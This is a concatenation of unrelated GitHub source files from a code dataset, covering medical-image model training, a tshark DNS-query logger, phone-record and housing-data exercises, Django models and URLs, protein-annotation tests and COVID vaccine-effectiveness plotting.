check_img_size(args.width, 32, floor=256)\n else:\n args.img_size = check_img_size(args.img_size, 32, floor=256)\n\n cfg = Config.fromfile(args.conf_file)\n if not hasattr(cfg, 'training_mode'):\n setattr(cfg, 'training_mode', 'repvgg')\n # check device\n device = select_device(args.device)\n # set random seed\n set_random_seed(1+args.rank, deterministic=(args.rank == -1))\n # save args\n if master_process:\n save_yaml(vars(args), osp.join(args.save_dir, 'args.yaml'))\n\n return cfg, device, args\n\n# TODO: Move this two functions to other files.\ndef train_yolov6(args):\n '''main function of training'''\n cfg, device, args = check_and_init(args)\n # reload envs because args was chagned in check_and_init(args)\n args.local_rank, args.rank, args.world_size = get_envs()\n LOGGER.info(f'training args are: {args}\\n')\n if args.local_rank != -1: # if DDP mode\n torch.cuda.set_device(args.local_rank)\n device = torch.device('cuda', args.local_rank)\n LOGGER.info('Initializing process group... ')\n dist.init_process_group(backend=\"nccl\" if dist.is_nccl_available() else \"gloo\", \\\n init_method=args.dist_url, rank=args.local_rank, world_size=args.world_size,timeout=datetime.timedelta(seconds=7200))\n\n # Start\n trainer = Trainer(args, cfg, device)\n # PTQ\n if args.quant and args.calib:\n trainer.calibrate(cfg)\n return\n trainer.train()\n\n # End\n if args.world_size > 1 and args.rank == 0:\n LOGGER.info('Destroying process group... ')\n dist.destroy_process_group()\n\ndef train_resnet(args):\n cfg = Config.fromfile(args.conf_file)\n LOGGER.info(f'training args are: {args}\\n')\n try:\n device = torch.device(args.device)\n except:\n device = torch.device('cuda:0' if torch.cuda.is_available() else 'cpu')\n data_cfg = load_yaml(args.data_path)\n\n save_path = os.path.join(args.output_dir, f'{args.model}_{get_date_str()}')\n if not os.path.exists(save_path):\n os.makedirs(save_path)\n model = None\n\n if args.pretrained is not None:\n model, class_names = get_resnet_model(args.pretrained, args.data_path, pretrained=args.pretrained)\n \n trainer = resn_Trainer(data_cfg['ctrain'], data_cfg['cval'], data_cfg['dnc'],\n args.model, args.workers,\n cfg.solver.optim, args.batch_size, model, device)\n\n trainer.train(args.epochs, cfg.solver.lr, cfg.saver.save,\n cfg.saver.save_every, cfg.saver.save_best, save_path)\n\ndef train_vit(args):\n cfg = Config.fromfile(args.conf_file)\n LOGGER.info(f'training args are: {args}\\n')\n try:\n device = torch.device(args.device)\n except:\n device = torch.device('cuda:0' if torch.cuda.is_available() else 'cpu')\n data_cfg = load_yaml(args.data_path)\n\n save_path = os.path.join(args.output_dir, f'{args.model}_{get_date_str()}')\n if not os.path.exists(save_path):\n os.makedirs(save_path)\n model = None\n\n if args.pretrained is not None:\n model, class_names = get_vit_model(args.pretrained, args.data_path, pretrained=args.pretrained)\n \n trainer = vit_Trainer(data_cfg['ctrain'], data_cfg['cval'], data_cfg['dnc'],\n args.model, args.workers,\n cfg.solver.optim, args.batch_size, model, device)\n\n trainer.train(args.epochs, cfg.solver.lr, cfg.saver.save,\n cfg.saver.save_every, cfg.saver.save_best, save_path)\n\ndef train_swin(args):\n cfg = Config.fromfile(args.conf_file)\n LOGGER.info(f'training args are: {args}\\n')\n try:\n device = torch.device(args.device)\n except:\n device = torch.device('cuda:0' if torch.cuda.is_available() else 'cpu')\n data_cfg = load_yaml(args.data_path)\n\n save_path = os.path.join(args.output_dir, f'{args.model}_{get_date_str()}')\n if not os.path.exists(save_path):\n os.makedirs(save_path)\n model = None\n\n if args.pretrained is not None:\n model, class_names = get_swin_model(args.pretrained, args.data_path, pretrained=args.pretrained)\n \n trainer = swin_Trainer(data_cfg['ctrain'], data_cfg['cval'], data_cfg['dnc'],\n args.model, args.workers,\n cfg.solver.optim, args.batch_size, model, device)\n\n trainer.train(args.epochs, cfg.solver.lr, cfg.saver.save,\n cfg.saver.save_every, cfg.saver.save_best, save_path)\n\ndef train(args):\n # Setup\n args.local_rank, args.rank, args.world_size = get_envs()\n if 'yolo' in args.model:\n train_yolov6(args)\n if 'resnet' in args.model:\n train_resnet(args)\n if 'ViT' in args.model:\n train_vit(args)\n if 'swin' in args.model:\n train_swin(args)\n else:\n raise ValueError('Invalid type of model.')\n\nif __name__ == '__main__':\n print(sys.path)\n device = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\n model, stride, class_names = get_yolo_model(PATH + '/weights/detect.pt', PATH + '/data/spine.yaml', device=device)\n img_src, boxes = detect(model, PATH + '/data/images/study3_image7.jpg', class_names, stride=stride, device=device)\n boxes = filter_box(img_src, boxes)\n imgs = crop_img(img_src, boxes)\n classify_model, class_names_ = get_resnet_model(PATH + '/weights/classify.pt', PATH + '/data/spine.yaml', device=device)\n LOGGER.info('Detection done. start classifying now...')\n ret = [classify(classify_model, img, class_names_, device=device) for img in imgs]\n LOGGER.info('Classification done.')\n result = []\n for data, box in zip(ret, boxes):\n disease_type, conf = data[0], data[1]\n label = box['label']\n result.append((f'{label} {get_disease_str(disease_type)}', get_center(box)))\n box['label'] += ' ' + get_disease_str(disease_type)\n box['confidence'] *= conf[0] * conf[1]\n \n LOGGER.info(boxes)\n plot_boxes(img_src, 1, boxes)\n cv2.imwrite('test.jpg', img_src)\n LOGGER.info('done.')","repo_name":"ThreebodyDarkforest/Spine_diagnose","sub_path":"modules/adapter.py","file_name":"adapter.py","file_ext":"py","file_size_in_byte":12912,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"72878661200","text":"# -*- coding: utf-8 -*-\n\"\"\"\n下面的文件将会从csv文件中读取读取短信与电话记录，\n你将在以后的课程中了解更多有关读取文件的知识。\n\"\"\"\nimport csv\nimport operator\n\nwith open('texts.csv', 'r') as f:\n reader = csv.reader(f)\n texts = list(reader)\n\nwith open('calls.csv', 'r') as f:\n reader = csv.reader(f)\n calls = list(reader)\n\n# \"\"\"\n# 任务2: 哪个电话号码的通话总时间最长? 不要忘记，用于接听电话的时间也是通话时间的一部分.。\n# 输出信息:\n# \" spent the longest time, seconds, on the phone during\n# September 2016.\".\n#\n# 提示: 建立一个字典，并以电话号码为键，通话总时长为值。\n# 这有利于你编写一个以键值对为输入，并修改字典的函数。\n# 如果键已经存在于字典内，为键所对应的值加上对应数值；\n# 如果键不存在于字典内，将此键加入字典，并将它的值设为给定值。\n# \"\"\"\na = {}\nfor item in calls:\n if item[0] in a:\n a[item[0]] += int(item[3])\n else:\n a[item[0]] = int(item[3])\n\n if item[1] in a:\n a[item[1]] += int(item[3])\n else:\n a[item[1]] = int(item[3])\ns = sorted(a.items(), key=operator.itemgetter(1))\nprint ('%s spent the longest time, %d seconds, on the phone during September 2016.' %(s[-1][0],s[-1][1]))\n","repo_name":"godismeandyou/sunfei","sub_path":"Task/Task2.py","file_name":"Task2.py","file_ext":"py","file_size_in_byte":1368,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"37555074593","text":"from __future__ import annotations\n\nfrom django.db import models\nfrom django.core.validators import RegexValidator, MinValueValidator\nfrom django.contrib import admin\n\nfrom utils.logic.compare_entity_field import compare_entity_field\n\nfrom .Part import Part\nfrom .PurchaseAssembly import PurchaseAssembly\n\nfrom django.utils.deconstruct import deconstructible\n\n\n@deconstructible\nclass PurchaseAssemblyPart(models.Model):\n \"\"\"A part belonging to a purchase assembly.\"\"\"\n\n part = models.ForeignKey(\n Part,\n null=False,\n blank=False,\n on_delete=models.CASCADE,\n )\n purchase_assembly = models.ForeignKey(\n PurchaseAssembly,\n null=False,\n blank=False,\n on_delete=models.CASCADE,\n )\n quantity = models.PositiveSmallIntegerField(\n null=False,\n blank=False,\n default=1,\n validators=[MinValueValidator(1)],\n help_text=\"Amount used in the purchase assembly.\",\n )\n full_code = models.CharField(\n blank=True,\n editable=False,\n max_length=20,\n )\n\n class Meta:\n verbose_name = \"purchase assembly part\"\n verbose_name_plural = \"purchase assembly parts\"\n indexes = [\n models.Index(\n fields=[\n \"purchase_assembly\",\n ]\n ),\n models.Index(\n fields=[\n \"purchase_assembly\",\n \"part\",\n \"quantity\",\n ]\n ),\n models.Index(\n fields=[\n \"full_code\",\n ]\n ),\n ]\n\n def save(self, *args, **kwargs):\n self.full_code = \"-\".join(\n [\n str(self.purchase_assembly.full_code),\n self.part.full_code,\n str(self.quantity),\n ]\n )\n super(PurchaseAssemblyPart, self).save(*args, **kwargs)\n\n def __str__(self):\n return self.full_code\n\n def validate_import_comparison(\n purchase_assembly_part, purchase_assembly_part_to_validate\n ):\n \"\"\"Compares two purchase_assembly_parts, returning differences in set of str, when the second entity has non-empty contents that differ with the first.\"\"\"\n differing_fields = []\n\n differing_fields.extend(\n compare_entity_field(\n purchase_assembly_part, purchase_assembly_part_to_validate, \"quantity\"\n )\n )\n\n return differing_fields\n\n\ndef get_purchase_assembly_part_verbose_str(\n purchase_assembly_full_code: int,\n part_full_code: str = \"\",\n part_name: str = \"\",\n quantity: int = 1,\n) -> str:\n \"\"\"Returns a more readable version of the entity's str representation, without an instance.\"\"\"\n return \"[{}] [{}] [{}] {}\".format(\n str(purchase_assembly_full_code),\n \"P\" + part_full_code,\n \"Uses \" + str(quantity),\n part_name,\n )\n\n\ndef get_all_purchase_assembly_parts(purchase_assembly_id: int):\n return (\n PurchaseAssemblyPart.objects.select_related(\"part\")\n .filter(purchase_assembly_id=purchase_assembly_id)\n .order_by(\"full_code\")\n .all()\n )\n","repo_name":"sxjugalde/transglobal_vehicule_portal","sub_path":"parts/models/PurchaseAssemblyPart.py","file_name":"PurchaseAssemblyPart.py","file_ext":"py","file_size_in_byte":3212,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"34515159390","text":"import subprocess\r\nimport os\r\nimport json\r\nimport tldextract\r\n\r\n\r\ndef sh(command, print_msg=True):\r\n p = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)\r\n lines = []\r\n for line in iter(p.stdout.readline, b''):\r\n line = line.rstrip().decode('utf8')\r\n if print_msg:\r\n sline = line.replace('\\t',' ').replace(' ',' ').split(' ')\r\n val = tldextract.extract(sline[-1])\r\n doma = (val.domain + \".\" + val.suffix).lower()\r\n if doma not in white_list:\r\n e.write(line+'\\n')\r\n \r\n\r\nif __name__ == '__main__':\r\n with open('white_domain.json','r') as f:\r\n white_list = json.load(f)\r\n with open(\"dns.log\",\"a\",errors=\"ignore\") as e:\r\n command = \"tshark -i eth2 -f 'port 53' -R 'dns.qry.type == 1 and dns.flags.response == 0' -n -T fields -e frame.time -e ip.src -e ip.dst -e dns.qry.name 2> error.log \"\r\n sh(command=command)","repo_name":"ldbfpiaoran/analysis-dns","sub_path":"filter_dns.py","file_name":"filter_dns.py","file_ext":"py","file_size_in_byte":967,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"25863600055","text":"from django.contrib import admin\nfrom django.conf import settings\nfrom django.urls import path\nfrom django.urls.conf import include\nfrom drf_yasg.views import get_schema_view\nfrom drf_yasg import openapi\nfrom users.views import Login\nfrom ads.views import AdsBookID,AdsEditProduct\nfrom ad_pend.views import AdPendBookID\nfrom rest_framework import permissions\nfrom book.views import GetCode,ConfirmedStatus,OTP,BulkDeleteArchived,BulkSetCompleted,BulkSetArchived,GetInTouch\n\n\nurlpatterns = [\n path('api/v1/admin/', admin.site.urls),\n path('api/v1/login/', Login.as_view(), name='get_user'),\n path('api/v1/rooms/', include('rooms.urls')),\n path('api/v1/pools/', include('pools.urls')),\n path('api/v1/events/', include('events.urls')),\n path('api/v1/gallery/', include('gallery.urls')),\n path('api/v1/ads/', include('ads.urls')),\n path('api/v1/book/', include('book.urls')),\n path('api/v1/payment/', include('payment.urls')),\n path('api/v1/promo/', include('promo.urls')),\n path('api/v1/content/', include('content.urls')),\n path('api/v1/users/', include('users.urls')),\n path('api/v1/adpend/', include('ad_pend.urls')),\n path('api/v1/logs/', include('logs.urls')),\n path('api/v1/faq/', include('faq.urls')),\n path('api/v1/settings/', include('settings.urls')),\n path('api/v1/amenities/', include('amenities.urls')),\n path('api/v1/code/code/', GetCode.as_view(), name='get_user'),\n path('api/v1/adpend-bookid//', AdPendBookID.as_view(), name='get_user'),\n \n \n path('api/v1/bulk-completed-book/', BulkSetCompleted.as_view(), name='get_user'),\n path('api/v1/bulk-archived-book/', BulkSetArchived.as_view(), name='get_user'),\n path('api/v1/getintouch/', GetInTouch.as_view(), name='get_user'),\n \n path('api/v1/ads-edit/', AdsEditProduct.as_view(), name='get_user'),\n path('api/v1/bulk-delete-book/', BulkDeleteArchived.as_view(), name='get_user'),\n path('api/v1/otp/', OTP.as_view(), name='get_user'),\n path('api/v1/confirmed/status/', ConfirmedStatus.as_view(), name='get_user'),\n]","repo_name":"jervinmc/orsvlr-official","sub_path":"app/app/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2077,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"28504211663","text":"import numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom sklearn.datasets import load_boston\n\n#prepare dataset\ndata_houses = load_boston()\ndata = pd.DataFrame(data_houses.data, columns=data_houses.feature_names)\ndata['MEDV'] = data_houses.target\ndata = data.loc[data['AGE']>30]\n# print(data)\nX_train = np.array(data[['RM', 'AGE']])\nY_train = np.array(data[['MEDV']])\nY_train = Y_train.reshape(-1,1)\nn=X_train.shape[0]\n\n\n#hyper parameters\nlearing_rate = 0.000001\nepochs = 1\n\n#init weight\nw = np.random.rand(X_train.shape[1],1)\n\n#plot\nfig = plt.figure(figsize=(12, 6))\nax = fig.add_subplot(121,projection='3d')\nax1 = fig.add_subplot(122)\nErrors = []\n\nx_range = np.arange(X_train[:,0].min(),X_train[:,0].max())\ny_range = np.arange(X_train[:,1].min(),X_train[:,1].max())\n#Train\nfor epoch in range(epochs):\n for i in range(n):\n y_pred = np.matmul(X_train[i,:],w)\n e = y_pred - Y_train[i] #khata yek dade\n \n #update weight\n x = X_train[i,:].reshape(-1, 1)\n w += e * learing_rate * x\n \n #visualization\n Y_pred = np.matmul(X_train,w) \n\n x,y = np.meshgrid(x_range,y_range)\n z = w[0]*x + w[1]*y\n ax.clear()\n ax.scatter3D(X_train[:,0],X_train[:,1],Y_train)\n ax.set_xlabel(\"RM\")\n ax.set_ylabel(\"AGE\")\n ax.set_zlabel(\"MEDV\")\n ax.plot_surface(x,y,z,alpha=0.5)\n\n\n Error = np.mean(Y_train - Y_pred) #khata kol dadeha\n Errors.append(Error)\n ax1.clear()\n ax1.plot(Errors)\n\n plt.pause(0.1)\n\n\nplt.show()","repo_name":"SajedehGharabadian/Machine-Learning","sub_path":"Assignment38-python/perceptron-boston.py","file_name":"perceptron-boston.py","file_ext":"py","file_size_in_byte":1561,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"3"} +{"seq_id":"71731562321","text":"import requests\nimport json\n\n# r = requests.get(\"https://api.github.com/repos/dward2/BME547/branches\")\n# print(type(r))\n# print(r.status_code)\n# print(r.text)\n# branches = r.json()\n# print(type(branches))\n# for branch in branches:\n# print(branch[\"name\"])\nprint(\"200\")\nout_data = {\n \"name\": \"Samuel Ramirez\",\n \"net_id\": \"slr71\",\n \"e-mail\": \"lucas.ramirez@duke.edu\"\n}\n\nin_data = {\n \"user\": \"slr71\",\n \"message\": \"Hello\"\n}\nr = requests.post(\"http://vcm-21170.vm.duke.edu:5001/add_message\", json=in_data)\ng = requests.get(\"http://vcm-21170.vm.duke.edu:5001/get_messages/slr71\")\n#r = requests.post(\"http://vcm-21170.vm.duke.edu:5000/student\", json=out_data)\n\nprint(g.status_code)\nprint(g.text)\n#print(r.status_code)\n#print(r.text)\n\n\n","repo_name":"slramirez02/First","sub_path":"requests_work.py","file_name":"requests_work.py","file_ext":"py","file_size_in_byte":746,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"25006275615","text":"import unittest\nimport os\nimport sys\nsys.path.insert(0, os.path.abspath('..'))\nimport spectra_cluster.ui.protein_annotator as protein_annotator\n\n\nclass ProteinAnnotatorTest(unittest.TestCase):\n \"\"\"\n TestCase for the ProteinParser\n \"\"\"\n def setUp(self):\n self.testfile = os.path.join(os.path.dirname(__file__), \"test.fasta\")\n self.test_mappings = os.path.join(os.path.dirname(__file__), \"testfiles\", \"test_mappings_ELGTVMR.txt\")\n\n def testMapPeptides(self):\n peptides = set()\n peptides.add(\"KWVTFISLLLL\")\n peptides.add(\"AGGE\")\n peptides.add(\"LLA\")\n peptides.add(\"A\")\n\n protein_map = protein_annotator.map_peptides_to_proteins(peptides, self.testfile)\n\n self.assertEqual(len(peptides), len(protein_map))\n\n for sequence in protein_map.keys():\n org_len = len(protein_map[sequence])\n unique_len = len(set(protein_map[sequence]))\n\n self.assertEqual(unique_len, org_len)\n\n def testProteinInference(self):\n return\n\n peptides = set()\n peptides.add(\"GLL\")\n peptides_to_proteins = protein_annotator.map_peptides_to_proteins(peptides, self.testfile)\n peptide_map = protein_annotator.do_protein_inference(peptides_to_proteins)\n\n self.assertEqual(1, len(peptide_map))\n self.assertTrue(\"GLL\" in peptide_map)\n self.assertEqual(24, peptide_map[\"GLL\"][0].count(\";\"))\n\n # add another unique peptide\n peptides.add(\"EEWQCLDTAQRNLYKNV\")\n peptides_to_proteins = protein_annotator.map_peptides_to_proteins(peptides, self.testfile)\n peptide_map = protein_annotator.do_protein_inference(peptides_to_proteins)\n\n self.assertEqual(2, len(peptide_map))\n self.assertEqual(\"M0QXM7\", peptide_map[\"EEWQCLDTAQRNLYKNV\"][0])\n self.assertEqual(\"M0QXM7\", peptide_map[\"GLL\"][0])\n\n def testIgnoreIL(self):\n peptides = set()\n peptides.add(\"GLL\")\n\n peptides_to_proteins = protein_annotator.map_peptides_to_proteins(peptides, self.testfile, ignore_il=False)\n self.assertEqual(25, len(peptides_to_proteins[\"GLL\"]))\n\n peptides_to_proteins = protein_annotator.map_peptides_to_proteins(peptides, self.testfile, ignore_il=True)\n self.assertEqual(46, len(peptides_to_proteins[\"GLL\"]))\n\n def testProteinInferenceMappings(self):\n return\n\n # create mappings from the file\n mappings = dict()\n\n with open(self.test_mappings, \"r\") as MAPPINGS:\n for line in MAPPINGS:\n (peptide, proteins) = line.split(\"\\t\")\n mappings[peptide] = proteins.split(\";\")\n\n # there is a random factor in mapping the proteins\n # therefore protein inference has been disabled\n for i in [1, 2, 3, 4, 5, 6]:\n protein_groups = protein_annotator.do_protein_inference(mappings)\n\n self.assertTrue(\"ELGTVMR\" in protein_groups)\n self.assertEqual(\"P62158;Q96HY3;G3V361;H0Y7A7;E7ETZ0;E7EMB3\", protein_groups[\"ELGTVMR\"][0].strip())\n\nif __name__ == \"__main__\":\n unittest.main()\n","repo_name":"spectra-cluster/spectra-cluster-py","sub_path":"tests/test_protein_annotator.py","file_name":"test_protein_annotator.py","file_ext":"py","file_size_in_byte":3084,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"3"} +{"seq_id":"18128965215","text":"from copy import deepcopy\n\n\nclass Solution(object):\n def __init__(self):\n\n self.maxi = -1\n self.visited = []\n\n def getMaximumGold(self, grid):\n \"\"\"\n :type grid: List[List[int]]\n :rtype: int\n \"\"\"\n\n def in_matrix(row, col):\n return 0 <= row < len(grid) and 0 <= col < len(grid[0])\n\n def dfs(row, col, max):\n # print(\"row =\", row)\n # print(\"col = \", col)\n # print(\"len grid = \", len(grid))\n # print(in_matrix(row, col))\n if in_matrix(row, col) and not self.visited[row][col] and grid[row][col] != 0:\n self.visited[row][col] = True\n\n for r, c in [(row + 1, col), (row - 1, col), (row, col + 1), (row, col - 1)]:\n if in_matrix(r, c):\n\n dfs(r, c, max + grid[r][c])\n if max > self.maxi:\n self.maxi = max\n self.visited[row][col] = False\n\n self.visited = []\n for i in range(len(grid)):\n self.visited.append([False] * len(grid[0]))\n\n for row in range(len(grid)):\n for col in range(len(grid[0])):\n # print(self.visited)\n # print()\n if grid[row][col] != 0:\n\n dfs(row, col, grid[row][col])\n print(self.maxi)\n return self.maxi\n\n\ns = Solution()\ns.getMaximumGold(\n grid=[[1, 0, 7, 0, 0, 0], [2, 0, 6, 0, 1, 0], [3, 5, 6, 7, 4, 2], [4, 3, 1, 0, 2, 0], [3, 0, 5, 0, 20, 0]])\n","repo_name":"TOOFACK/DailyCodingPy","sub_path":"LeetCode/1219. Path with Maximum Gold.py","file_name":"1219. Path with Maximum Gold.py","file_ext":"py","file_size_in_byte":1546,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"31587373986","text":"import numpy as np\nimport pandas as pd\n\nimport plotly.express as px\n\nimport plotly.graph_objects as go\nfrom plotly.subplots import make_subplots\n\n\ndef calc_virus_ratio(virus_titles: list):\n virus_types_ratio = {}\n for title in virus_titles:\n if title in list(virus_types_ratio.keys()):\n virus_types_ratio[title] += 1\n else:\n virus_types_ratio[title] = 1\n virus_types_ratio = {k: round(v / len(virus_titles), 5) for k, v in virus_types_ratio.items()}\n return virus_types_ratio\n\n\ndef get_strain_data(csv_path):\n strain_data = pd.read_csv(csv_path)\n filtered_data = strain_data.loc[:, ['location', 'collection_date',\n 'pango_lineage', 'pangolin_version', 'variant',\n 'latitude', 'longitude', 'city', 'subject', 'district']]\n\n filtered_data['collection_date'] = filtered_data['collection_date'].map(lambda x: x.rsplit('-', 1)[0])\n grouped_data = filtered_data.groupby(['collection_date', 'city',\n 'subject', 'district']).agg({'location': lambda x: x.iloc[0],\n 'pango_lineage': lambda x: list(x),\n 'pangolin_version': lambda x: list(x),\n 'variant': lambda x: x.iloc[0],\n 'latitude': lambda x: x.iloc[0],\n 'longitude': lambda x: x.iloc[0]})\n grouped_data.reset_index(inplace=True)\n agg_rf = grouped_data.groupby('collection_date', as_index=False).agg({'city': lambda x: 'Russia',\n 'subject': lambda x: 'Russian Federation',\n 'district': lambda x: '--',\n 'location': lambda x: '--',\n 'pango_lineage': lambda x: sum(x, []),\n 'pangolin_version': lambda x: sum(x, []),\n 'variant': lambda x: x.iloc[0],\n 'latitude': lambda x: '--',\n 'longitude': lambda x: '--'})\n grouped_data = pd.concat([grouped_data, agg_rf])\n grouped_data.reset_index(inplace=True, drop=True)\n grouped_data.sort_values(by='collection_date', inplace=True)\n grouped_data['pango_lineage'] = grouped_data['pango_lineage'].apply(calc_virus_ratio)\n grouped_data['pangolin_version'] = grouped_data['pangolin_version'].apply(calc_virus_ratio)\n return grouped_data\n\n\ndata = get_strain_data('../../app/data/strains/20221020-MH93845-490.csv')\nsubjects = ['Russian Federation', 'Saint Petersburg'] # Moscow\nstrains = data[(data['subject'].isin(subjects)) & (data['collection_date'].str.contains('2022'))]\nsubject_data = strains[strains['subject'] == 'Russian Federation']\nmelted_dict = pd.DataFrame(pd.DataFrame(subject_data['pango_lineage'] \\\n .values.tolist()).stack().reset_index(level=1))\nmelted_dict.columns = ['keys', 'values']\nsubject_data = pd.merge(subject_data.reset_index(drop=True), melted_dict,\n left_index=True, right_index=True)\nsubject_data = subject_data[~subject_data['keys'].isin(['Unassigned', np.nan])]\nsubject_data.loc[subject_data['values'] < 0.05, 'keys'] = 'other'\nsubject_data = subject_data.groupby(['collection_date', 'keys'], as_index=False).sum()\n\n\nve_df = pd.read_csv('../../../misc/ve_2022.csv', encoding='utf-8', delimiter=';')\nve_df['region'] = 'Russian Federation'\n\ncases = ['zab', 'hosp', 'severe', 'death']\nages = ['18-59', '60+']\n\nfor case in cases:\n for age in ages:\n fig = make_subplots(rows=2, cols=1, vertical_spacing=0.03, shared_xaxes=True,)\n x = subject_data['collection_date'].unique()\n y = ve_df[ve_df['age_group'] == age][f've_'+case].tolist()\n fig.add_trace(go.Scatter(x=x, y=y, mode='lines', name='ЭВ'),\n row=1, col=1)\n for i in range(x.shape[0]):\n fig.add_annotation(x=x[i],\n y=y[i],\n text=str(round(y[i]*100))+'%',\n showarrow=True,\n row=1, col=1)\n fig.add_trace(go.Scatter(\n name='Upper Bound',\n x=subject_data['collection_date'].unique(), # x, then x reversed\n y=ve_df[ve_df['age_group'] == age][f'cih_'+case].tolist(),\n marker=dict(color=\"#444\"),\n line=dict(width=0),\n mode='lines',\n fillcolor='rgba(68, 68, 68, 0.3)',\n fill='tonexty',\n showlegend=False\n ))\n fig.add_trace(go.Scatter(\n name='Lower Bound',\n x=subject_data['collection_date'].unique(), # x, then x reversed\n y=ve_df[ve_df['age_group'] == age][f'cil_'+case].tolist(),\n marker=dict(color=\"#444\"),\n line=dict(width=0),\n mode='lines',\n fillcolor='rgba(68, 68, 68, 0.3)',\n fill='tonexty',\n showlegend=False\n ))\n fig.add_trace(go.Scatter(x=subject_data['collection_date'].unique(),\n y=[0.5 for i in range(subject_data['collection_date'].unique().shape[0])],\n mode='lines',\n name='50% порог ЭВ',\n line=dict(dash='dash', color='green'),\n connectgaps=True,),\n row=1, col=1)\n\n color_ind = 0\n for key in subject_data['keys'].unique():\n data = subject_data[subject_data['keys'] == key]\n color_palette = px.colors.qualitative.Pastel1 # Set3\n\n fig.add_trace(go.Bar(x=sorted(data['collection_date'].tolist(), key=lambda x: list(map(int, x.split('-')))),\n y=data['values'],\n name=key,\n marker={'color': color_palette[color_ind]},\n text=data['keys'],\n texttemplate='%{text}
%{y:.1%}',\n ), row=2, col=1)\n color_ind += 1\n # fig.update_traces(textposition='inside', row=2, col=1)\n fig.update_layout(uniformtext_minsize=9, uniformtext_mode='hide')\n\n fig.update_layout(template='simple_white', barmode='stack', bargap=0)\n fig.update_yaxes(title_text=\"Эффективность вакцинации\", tickformat=',.0%',\n tick0=0.5, dtick=0.25, row=1, col=1)\n fig.update_yaxes(title_text=\"Соотношение \\nШтаммов\", range=[0, 1],\n tickformat=',.0%', row=2, col=1)\n fig.update_xaxes(showticklabels=False, ticks='inside',\n ticklen=0.1, row=1, col=1)\n fig.update_xaxes(title='Месяцы',\n type='category',\n categoryorder='category ascending',\n tickvals=x,\n ticktext=['.'.join(date.split('-')[::-1]) for date in x],\n row=2, col=1)\n fig.update_layout(width=1000, height=800) # , height=1100\n fig.update_layout(margin=dict(l=20, r=20, t=20, b=20))\n\n fig.write_image(f'./output/ve_and_strains/fig_{case}_{age}.png')\n","repo_name":"vnleonenko/VE_COVID","sub_path":"calculations/personalized_data/strains_ve_visualization.py","file_name":"strains_ve_visualization.py","file_ext":"py","file_size_in_byte":7914,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"19940871114","text":"\"\"\"\nCode for an SVM regression\n\nWhen executed, prints out the R^2 value and the MSE values to stderr\n\"\"\"\n\nimport os\nimport sys\nimport multiprocessing\nimport logging\n\nimport numpy as np\nimport pandas as pd\nimport sklearn\nfrom sklearn import svm\nfrom sklearn import preprocessing \n\nimport data_loader\nimport util\n\ndef svr(x_train, y_train, x_test, y_test, kernel='linear'):\n \"\"\"Train a least squares model and return performance on testing data\"\"\"\n scaler = preprocessing.StandardScaler().fit(x_train)\n x_train = pd.DataFrame(scaler.transform(x_train), columns=x_train.columns)\n model = svm.SVR(gamma='scale', kernel=kernel)\n model.fit(x_train, y_train)\n x_test = pd.DataFrame(scaler.transform(x_test), columns=x_test.columns)\n predictions = model.predict(x_test)\n r_squared = model.score(x_test, y_test)\n logging.info(\"SVR R^2 value: {}\".format(r_squared))\n mse = sklearn.metrics.mean_squared_error(y_test, predictions)\n logging.info(\"SVR MSE: {}\".format(mse))\n\n preds_categorical = util.continuous_to_categorical(predictions, percentile_cutoff=None, numeric_cutoff=409)\n truth_categorical = util.continuous_to_categorical(y_test, percentile_cutoff=None, numeric_cutoff=409)\n precision = sklearn.metrics.precision_score(truth_categorical, preds_categorical)\n recall = sklearn.metrics.recall_score(truth_categorical, preds_categorical)\n logging.info(\"Linear regression categorized precision: {}\".format(precision))\n logging.info(\"Linear regression categorized recall: {}\".format(recall))\n\n return mse, r_squared, precision, recall\n\ndef main():\n \"\"\"Run the script\"\"\"\n data = util.impute_by_col(data_loader.load_all_data(), np.mean)\n rates = data.pop('heart_disease_mortality')\n partitions, test_set = util.split_train_valid_k_fold(data, rates)\n \n # Evaluate in parallel\n pool = multiprocessing.Pool(multiprocessing.cpu_count())\n values = pool.starmap(svr, partitions)\n pool.close()\n pool.join()\n\n # Average the results\n mse_values, rsquared_values, precision_values, recall_values = [list(x) for x in zip(*values)]\n logging.info(\"Average MSE of {} cross validation runs: {}\".format(len(mse_values), np.mean(mse_values)))\n logging.info(\"Average R^2 of {} cross validation runs: {}\".format(len(rsquared_values), np.mean(rsquared_values)))\n logging.info(\"Average recall of {} cross validation runs: {}\".format(len(recall_values), np.mean(recall_values)))\n logging.info(\"Average precision of {} cross validation runs: {}\".format(len(precision_values), np.mean(precision_values)))\n\nif __name__ == \"__main__\":\n logging.basicConfig(level=logging.INFO)\n main()\n","repo_name":"wukevin/heartbreaker","sub_path":"heartbreaker/model_svr.py","file_name":"model_svr.py","file_ext":"py","file_size_in_byte":2658,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"17480957575","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('developers', '0003_auto_20150727_1017'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='commentlog',\n name='comments',\n field=models.TextField(),\n preserve_default=True,\n ),\n 